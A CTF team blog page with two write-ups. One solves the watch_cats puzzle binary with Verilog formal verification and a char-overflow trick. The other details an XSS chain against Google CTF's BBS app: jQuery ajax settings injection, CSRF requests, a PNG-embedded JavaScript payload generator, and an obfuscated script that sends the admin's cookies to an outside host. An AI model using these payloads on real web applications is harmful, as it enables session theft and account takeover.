Sunday, August 5, 2018

CODE BLUE CTF 2018 Quals - watch_cats (solved by q3k)

watch_cats

1 - Introduction

This was a challenge for the CODE BLUE CTF Quals in 2018. The data given was a binary that would display the above, its source code (220 lines of C++) and 5 text files that looked like stage data.

The binary would present a WATCH_DOGS-style minigame style challenges to the user, who would solve them by rotating 'joints' until they guided a signal from a source to a goal (in later stages, multiple goals at once). After solving five stages, the program would display a flag read from a file and exit. The same binary was also running remotely on the organizers' infrastructure, where it contained the same stage data and the actual competition flag.

The first two stages (pictured above) are solvable by hand. The first one requires you to just rotate one joint into place, the second requires quite a few more rotations, but is still very easy to solve in the 9 iterations that the binary allows you to perform.


A single joint rotating.

When you get to the third stage, however, the binary stops showing you visualizations. It's time to dig deeper.

No image? oh no
Thankfully, the source code for the challenge was provided. Reading it, we can deduce that:
  • The stages are read file-by-file from the local directory.
  • Each stage is a plain text file composed of the following records:
    • answer, the number of steps a player can take to solve the stage
    • num_cables, the number of cables that are between nodes
    • num_joints, the number of joints that are connected by cables
      • num_joints x (joint_type, 4x neighbor_cable), where joint_type is one of 8 possible types of joints (each with different connectivity geometry), and neighbor_cables are cable numbers [0..num_cables) into which the joint connects
    • num_goals, the number of goals that the signal must reach
      • num_goals x goal_number, a cable number that defines a goal cable
    • H and W, the height and width (in unicode glyphs) of the stage graphic
      • H x W of belong data, which defines whether a graphic:
        • belongs to a cable and should be colored blue when a signal reaches that cable (belong > 0, cable number == belong), and displayed with font[i, j]
        • belongs to a joint and should be colored blue when a signal rached that joint (belong < 0 joint number == -belong), and should be displayed with the joint type graphic
        • belongs to neither (belong == 0) and should just be displayed with font[i, j]
Quickly auditing the code from a security point of view, I found no obvious bugs triggerable by user interaction (we're basically limited to rotating selected joints). However, it was obvious that if you solved all five stages, you would just get the flag printed to screen. Let's try that?

First, let's just write some simple Python to read a stage data into memory and allow us to further process it.

Basic Python to re-implement stage parsing and basic analysis of joints/cables.
 I also added some networkx based code to create a graph of joints/cables (where each joint, cable, source and goal is a node). This let us quickly visualize the stages, and verify that the Stage 2 visualization corresponds to the level visualization:

Stage 2, as drawn by networkx/graphviz.
And if you look closely, it does. Now, let's draw the same style of graphs for the stages we haven't solved yet: Stages 3, 4 and 5.

Stage 3.

Stage 4.

Stage 5 - nope.jpg.

By the point I looked at Stage 5, it was clear that the problem was ridiculous enough that I definitely wasn't going to solve it manually - at least not without smarter printing of the graphs so I could see joints and how their rotation changes the signal flow. Let's automate this.

2 - Solving the puzzles automatically

How do we solve a puzzle like this? It might simply be the case that I'm in the proximity of a mind-altering hammer that makes me hallucinate everything to be a nail... but I chose converting the puzzles to Verilog and using formal methods to find solutions. No, wait! Don't close this tab yet. Hear me out.

The theory is simple: let's convert every junction to be a clocked flip-flop that will take on a given cable value as it's new value if a 'joint rotation' register is in the correct position. In other words, the 'signal' propagating in the puzzle will be modeled as a 1 value propagating across joints on positive clock pulses.

Turning a stage into a Verilog module.
This will then generate a Verilog module for every stage, looking like this:

Stage 2, as a Verilog module.
Now in this current state, this is a decent way of representing a game puzzle in a somewhat esoteric manner. We can run this through a Verilog simulator to replicate the behaviour of the puzzle, but that's somewhat useless.

Here's where formal methods come into play. We'll be using 'yosys-smtbmc', which is a flow that involves running the Yosys synthesizer with an SMT2 backend, and then feeding those SMT2 circuit descriptions into SMT2 solvers. These circuit 'models' can be used for different modes of operation of the solver:
  • BMC - bounded model check. Start from the initial Verilog module state and see if you can get it to trigger an assertion within a given amount of steps.
  • K-induction. Start from an invalid state, and work backwards to see if that state can be reached from any valid state.
  • Coverage. Start from the initial Verilog module state and try to reach a valid cover statement.
If you want to read more about this, Dan Gisselquist has an excellent series of blogposts about starting with Formal Methods with yosys-smtbmc.

We'll be running in Coverage mode, with a cover(goal[0] == 1 && ...) statement. This means that yosys-smtbmc will find how to drive the undriven rotation registers in order to get the source signal to 'reach' all the goals.

First order of business is to use assume statements to let the solver know what sort of behaviour is valid.

We'll first create a f_past_valid signal that will be 1 from the second cycle of the simulation. This is so that we can use any 'time-travelling' statements like $past(signal), $stable(signal), ... in our other formal statements. We also add our cover statement for reaching the goals. Finally, we also add an assumption that we need to find a state where the amount of total rotations is less or equal to the amount of steps we can take in a stage.
Emitting formal assume and cover statements in Verilog module for a stage.
 Another thing we want to assume (declare what is a valid state) is that rotation registers are stable across the execution of the proof:
Emitting formal assume statement to make joint rotation stable across proof.
Now, we're ready to see what the solver can find for us! We re-emit the Verilog module (with formal statements) to s2.v for Stage 2, and write a quick Symbiyosys definition of what we're trying to prove:
yosys-smtbmc solves Stage 2 of watch_cats.
Status: PASSED! This means that the solver was able to reach the cover statement. We can now inspect the generated .vcd using GTKWave file to see the progressing state of the circuit in the solution:
Waveform of solution for Stage 2.
I've grouped the signals so it's easy to see the progression of the 'electric signal' across cables (c1,c2,... c8) and joints (s0v, s1v, ...). The s0...s5 signals on the bottom are the joint rotations in which this was possible (2,3,0,1,0,3) - our solution for Stage 2!

We can now write a bit more automation to convert the VCD dumps of the solution into 'rotate' instructions for the challenge binary, and run the same solver succesfully for stages 3 and 4. But for stage 5 (the monster one), we hit a snag:

Stage 5 impossible to solve.
Seems like Stage 5 is unsolvable!

3 - The Fifth Stage

What do we do now? I'm going to assume that our solver is correct and in fact the fifth stage is not solvable within the confines of just a simple puzzle problem - we need to hack something!

If you look at the stage5 definition from the organizers, you see it has a very large 'answer' value (the number of steps we can take to solve the problem). While in previous stages this was an at most two-digit number, here we're given 114514 steps. So maybe there is something exploitable here?

Let's dive into the C code. Since the only thing we can interact with is the 'direction'/'rotation' of a joint, let's follow that thread of logic. After not too long, we find an interesting bug:

Challenge code showing how joints are visited by the original 'simulator'.
Turns out the 'direction' of a joint is a char. Any time we 'rotate' it as a user, it just increments by one, without checking for overflows. The modulo operator in the show_circuit function above will seemingly always confine the direction to [0,1,2,3]. But it only does that on joints it's visiting when propagating a 'high' signal.

So if we rotate the joint over 127 times without getting the show_circuit visitor to visit it and sanitize it, we will overflow into -128, -127, -126, -125..., which on first visit and modulo by 4 will turn into [0, -3, -2, -1, 0, -3, ...]. Then, this negative index will be used to acess the available array of the joint definition. This underflow will result in an access to the previous joint type's fonts array.

Since fonts is an array of non-zero character pointers, any check of available that reads a fonts member instead will result in a 'true' availability, so enabled flow for a given direction to a given neighbouring cagle. Thus, if we set the rotation to -127 (-3 after modulo), the new availability will be [1,1,1, original_available[0]]. If we underflow-hack a joint type whose first available array member is a 1 (and is not of type 0, so has a preceding type into which we underflow) we in result get a joint that always connects its 4 cables together (its effective availability is [1,1,1,1]).

Underflow-hack of available member into previous joint definitions' font member.

So, the plan of action is: find the joint(s) that limit our ability to solve the challenge. Block them off from being visited by show_circuit by rotating joints in front of it to never reach these joints. Then, underflow their direction to -127 (-3 after modulo), so that connectivity is always all-to-all (if the original joint type was [1, x, x, x]).

I played around a bit with the unsolvable generated Verilog model for Stage 5, and found that if I turn Joint 32 into an always-flowing joint, I can solve the stage with the solver. Good news: it's a joint of type 3 (which has its availability[0] set to 1), so we can turn it into an always-flowing joint. It's also directly connected to the source via another joint, Joint 32, that we can close off easily so that the show_circuit visitor never reaches Joint 33.

Plan of action for hacking Stage 5.
The final 'rotate command' payload will looking something like this:
  • Rotate J33 to block it off.
  • Rotate  J32 129 times to overflow it to -127 (-3 after modulo), turning it into an always-conducting joint
  • Apply rotations from VCD solution for Stage 5, modified to have Joint 33 be always-conducting.
  • Rotate J33 to re-enable it.
Solving the challenge locally.
That's it! The remote flag was CBCTF{Which watchdog watches the watchcats????}.

Sunday, July 1, 2018

Google CTF 2018 Quals - BBS

Hey, it’s all about JavaScript, right? It shouldn’t be so hard after all... If you had similar feeling starting BBS on this year’s edition of Google CTF you can be positively surprised reading this write-up. This challenge shows in a very good way that JavaScript/XSS can be enjoyable and require quite sophisticated approaches. But let’s start from the beginning...

  1. Intro

    In the first place, let’s describe the whole application. Regarding website frontend, it is clearly written in Bootstrap – there are many references to submodules like model, dropdown, button etc. in the HTML source. On the other hand, if you take a glance at HTTP headers you can see that PHPSESSID was used for the session cookie – unless someone is trying to fool us, the backend is in PHP. The later fact is not very useful right now but, surprisingly, a lot of information gained in a reconnaissance phase influence the way you solve the challenge. Speaking about functionality, the site allows you to:

    • Register a new user
    • Login as a registered user
    • Compose and send a new post
    • Display all posts
    • Display a specified post having the post ID
    • Report a post to administrator for revision
    • Upload an avatar for your profile
    • Specify URL to your website in your profile
    • Logout

    Not much. Good for us because unless there’s some more logic in the code, it means that the scope of attack is quite small. It’s worth to note that the feature of sending reports to administrator is a bit hidden and after submitting the link, we end up with the information that “the post has been reported” and ”the admin will take a look shortly”. The pattern of sending the link to be visited is a bit typical in challenges that require us to steal or use the established session, so we may suspect that’s the goal of this one too.

  2. There are bugs!

    When you try to play with the application, it doesn’t need a lot of effort to find out that there are two problems with sanitizing the input:

    The first one is a possibility to make a script injection on the profile page by abusing the website field. Even though the input is passed through htmlspecialchars filter, the displayed value is not surrounded by quotes or apostrophes. This gives you a pretty straightforward way to perform the XSS using events like onmouseover/onerror:

    The bad thing is that you can easily XSS only yourself because the malicious script is displayed only on our user’s profile and if we were logged into a different account we wouldn’t be affected.

    Another feature that can be abused is the “p” parameter of /post handler. The intention was clearly to provide an easy way to load arbitrary content:

    function load_post() {
     var q = qs.parse(location.search, {ignoreQueryPrefix: true});
     var url = q.p;
    
     $.ajax(url).then((text) => {
      $('#post').html(atob(text));
     });
    }
    

    It’s hard to argue that it doesn’t work – it works even too well because you could in theory specify the remote URL like https://google.com and the script would load the content of remote site proving it sets corresponding CORS headers. I’ve said “in theory” because if you look closer you’ll realize there’s a custom Content Security Policy defined in HTTP headers that limits sources of all objects to self and unsafe-inline:

    content-security-policy:
       default-src 'self' 'unsafe-inline';
       script-src 'self' 'unsafe-inline' 'unsafe-eval';

    Basically, the policy says we can use only resources from the same origin, so in fact we can still abuse the “p” parameter but it must point to local resources in order to let the exploit work.

    If we want to understand what load_post function does under the hood, we will end up analyzing quite a long implementation of parse method. The core JavaScript library doesn’t provide any API for query string parsing and that’s why the application uses Node.js module called querystring (or maybe its modified version?). Either way, I had very little experience with Node.js and frontend development, so when trying to understand the whole idea behind it I’ve assumed that the parse method behaves similarly to PHP’s parse_str (http://php.net/manual/en/function.parse-str.php). When you take a look at its documentation and the documentation of $_POST variable (http://php.net/manual/en/reserved.variables.post.php), you’ll see that you can not only specify the raw names and their values, but also create more complex objects and arrays by using named indices.

    The milestone was to realize that $.ajax API provides two different signatures that may be called using the same function name (http://api.jquery.com/jquery.ajax/):

    1. First and the most common is jQuery.ajax( url [, settings ] ), that takes URL as a first argument and settings as an optional second one.
    2. The latter is jQuery.ajax( [settings ] ) which takes only a single argument.

    Now, let’s guess what would happen if instead of providing the url we provide the settings object constructed from query string variables? It will work. :)

    We can verify the basic idea by using: /post?p[url]=https://google.com. Again, the resource won’t be loaded because of CORS and CSP but we can clearly see in the debugger that we can control $.ajax settings:

  3. Changing administrator’s password

    Having the possibility to specify all bunch of settings in the AJAX requests gives us quite a lot of opportunities to exploit the application. One of the first thoughts that came to my mind was to change the password of the administrator. It could be done quite easily because the form on /profile didn’t require the current password, there was no Cross Site Request Forgery token and in fact the only thing you had to do was to send the same password in “password” and “password2” fields.

    Speaking of code, this should pass:

    $.post('/report', {
        'post': '/admin/' + '../post'
                          + '?p[method]=POST'
                          + '&p[url]=/profile'
                          + '&p[data][password]=letsFinishThis'
                          + '&p[data][password2]=letsFinishThis'
                          + '&p[data][submit]='
    })
    

    Unfortunately we haven’t finished this one so quickly. The new password didn’t work. This could mean some mistake was made on our side or it wasn’t the expected solution and haven’t passed some validator. While in real world scenario it should work, it was rather hard to believe that some real person with real browser was traversing all the links that people were sending when trying to solve this challenge. A common way to imitate the admin visiting the links is to use engines like PhantomJS or scripted headless Chrome. Either way, after a few tries I’ve abandoned this path...

  4. Let's combine the two bugs

    ...because I’ve came up with a better idea. Why not to use the other bug we’ve found earlier? By sending the link we’re able to perform any request on behalf of the administrator, including profile updates. If we set his website to contain some malicious content, we would be able to redirect him to it in the second visit.

    Therefore, the general idea was to send the link with a website update:

    $.post('/report', {
        'post': '/admin/' + '../post'
                          + '?p[method]=POST'
                          + '&p[url]=/profile'
                          + '&p[data][website]= http://google.com%20style=position:absolute;top:0;left:0;width:1920px;height:1080px%20onmouseover=eval(String.fromCharCode(108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,109,121,46,100,111,109,97,105,110,39))'
                          + '&p[data][submit]='
    })
    

    And as a next step, redirect the admin to his /profile by sending him:

    $.post('/report', {
        'post': '/admin/' + '../profile'
    })
    

    The script decoded by Script.fromCharCode was responsible for the redirection to some domain that we can monitor. If we received a request there, it would mean that the script was executed in the context of admin session. But after several tries and a few minutes of waiting we haven’t received any callback so again, we decided it’s not a right approach and we need to look for something else we were missing so far.

  5. No memes allowed.

    It’s nice to create a hard challenge. Creating one gives the same amount of satisfaction to you as it gives to other people who are solving it. It’s a bit of pity if the competitions ends and nobody was able to solve your task. That’s why authors often leave some kinds of discreet hints either in challenges or their descriptions. I haven’t encountered any hints in the challenge itself so I decided to take a look on the description from the dashboard. There was a single sentence: “No memes allowed”. A light bulb came on over my head and I’ve asked out loud: “Do they really want me to put the XSS in my avatar?”

    It was quite a plan. After a small team brainstorm, it appeared that some similar research was already done. I’ve ended up with a few blog posts that described the process of embedding an arbitrary text inside of a PNG file that is capable to outlive image rewriting.

    Encoding Web Shells in PNG IDAT chunks:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    Revisiting XSS payloads in PNG IDAT chunks:
    https://www.adamlogue.com/revisiting-xss-payloads-in-png-idat-chunks/

    An XSS on Facebook via PNGs & Wonky Content Types:
    https://whitton.io/articles/xss-on-facebook-via-png-content-types/

    In order not to check each image online, I’ve decided to create some standalone verifier that would check if a rewritten image was correct. I knew the script was written in PHP and after a quick lookup on Google & Stack Overflow I ended up with the following resampler:

    <?php
     $original_filename = "image.png";
     $thumb_filename = "image_resampled.png";
     
     $original_info = getimagesize($original_filename) or die("getimagesize failed!");
     $original_w = $original_info[0];
     $original_h = $original_info[1];
     
     $original_img = imagecreatefrompng($original_filename) or die("imagecreatefrompng failed!");
     $thumb_w = 64;
     $thumb_h = 64;
     
     $thumb_img = imagecreatetruecolor($thumb_w, $thumb_h);
     
     imagecopyresampled($thumb_img, $original_img,
          0, 0, 0, 0,
          $thumb_w, $thumb_h, $original_w, $original_h);
          
     imagepng($thumb_img, $thumb_filename);
     
     imagedestroy($thumb_img);
     imagedestroy($original_img);
    ?>
    

    Surprisingly, it worked quite well and I was able to confirm that the image passed through the resampling process in the script is not longer modified when uploading as avatar. This gave me an easy way to check if the image was correct from our point of view.

    The links we’ve found during the research described the idea of embedding text in deflated streams quite well and after some time of understanding the process and a series of trial and error we were able to create a 40x40 image that contained a payload of our choice when encoded as a PNG image. The problem was that the web application was resizing the provided image to 64x64. We’ve assumed the resize operation was hard to predict, that’s why we wanted to provide the image with the final dimensions. Unfortunately, “something” was messing up when I was trying to perform the same operations on 64x64 image. Because a friend of mine, Redford, had a good understanding of PNG file format and the underlying structures, I’ve decided to ask him for the help.

  6. The marriage of PNG and JavaScript

    Our initial goal was to create a PNG file with a payload that would behave in a similar manner to this:

    eval(location.search.substr(113))

    Having a PNG image like this, we would be able to construct a trampoline that will evaluate the next portion of the code directly from the URL.

    Because all our previous attempts failed, we decided to start again from scratch and try to analyze this problem on our own. This time we started the analysis directly from 64x64 images and tried to find some properties which could ease our job. The first thing we noticed was that the first row of pixels is emitted literally (i.e. with filter set to None) if the image comprised of random pixels. For some unknown reason, this happened only from time to time, but was fully deterministic - it depended only on image data. In the other case, the filter was set to Sub, which destroyed the data. We could of course add a correction for this filter, but then the filter could change again as its choice depend on pixel values. So, we decided to go with a much easier solution - generate an image in a loop until we get the first line with filter = None. What’s interesting, deflate algorithm didn’t interfere with us at any point - it was emitting all the data literally, probably because of their high entropy.

    The only thing we needed at this point was to insert the payload somewhere into random pixels, so that the filter-choosing heuristic won’t notice them as a good candidate for compression. To achieve that, we split the payload into small chunks separated with comments and filled the area between them with a bunch of random pixels. This approach turned out to work perfectly!

    The code for the whole process:

    from PIL import Image
    from random import randint
    
    def rand_bytes(n):
        return ''.join(map(chr, [randint(0, 255) for _ in xrange(n)]))
    
    chunks = [
        'eval/*',
        '*/(location/*',
        '*/.search.substr/*',
        '*/(113)/*',
        '*/);',
    ]
    
    while True:
        # Fill `arr` with payload chunks separated with random data.
        arr = ''
        for i in xrange(len(chunks)):
            arr += chunks[i]
            if i != len(chunks)-1:
                arr += rand_bytes(16)
        arr = map(ord, arr)
    
        while len(arr) % 3 != 0:
            arr.append(randint(0, 256))
    
        # Create an image filled with random pixels.
        xsize = 64
        ysize = 64
        im = Image.new("RGB", (xsize, ysize))
        for ix in xrange(xsize):
            for iy in xrange(ysize):
                im.putpixel((ix, iy), (randint(0, 256), randint(0, 256), randint(0, 256)))
    
        # Replace the first pixels of the image with `arr`.
        for i in xrange(0, len(arr), 3):
            im.putpixel((i/3, 0), tuple(arr[i:i+3]))
        im.save("xsspayload_good.png")
    
        # Stop if the image worked.
        with open('xsspayload_good.png', 'rb') as f:
            data = f.read()
        if all([(chunk in data) for chunk in chunks]):
            print 'Done!'
            break
    

    Finally we’ve uploaded the image and then it was clear we had a very nice JavaScript trampoline inside of a valid PNG file, right on the spot:



    This is how the image looked like.
  7. Let’s finish this!

    Having the image in place, we were ready to steal the flag. Using “Range” HTTP header we could specify a range of bytes from the PNG which corresponded to our script, skipping PNG headers and other irrelevant data. Also, setting the AJAX’s “dataType" to “script” allowed us to bypass the requirement of Base64 content and execute the response directly as a script.

    The final request to be visited by admin looked like this:

    $.post('/report', {
        'post': '/admin/' + '../post'
                          + '?p[url]=/avatar/303fd25f60a7f6e02d9bf961de58b1e5'
                          + '&p[headers][Range]=bytes=49-161'
                          + '&p[dataType]=script'
                          + '&code=AAAAAAAAA'
                          + 'eval(String.fromCharCode(108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,109,121,46,100,111,109,97,105,110,47,39,43,98,116,111,97,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))'
    })
    

    The code from the URL in fact redirects the user to a third party domain along with their cookies:

    location='http://my.domain/'+btoa(document.cookie)

    After a few seconds we’ve finally had the flag recorded on our HTTP server:

    vnd@motherland ~/test$ python -m SimpleHTTPServer 8080
    Serving HTTP on 0.0.0.0 port 8080 ...
    35.195.30.181 - - [30/Jun/2018 08:45:35] code 404, message File not found
    35.195.30.181 - - [30/Jun/2018 08:45:35] "GET /ZmxhZz1DVEZ7eU91X0hhVmVfQmVlbl9iJn0= HTTP/1.1" 404 -
    CTF{yOu_HaVe_Been_b&}
~ written by vnd & redford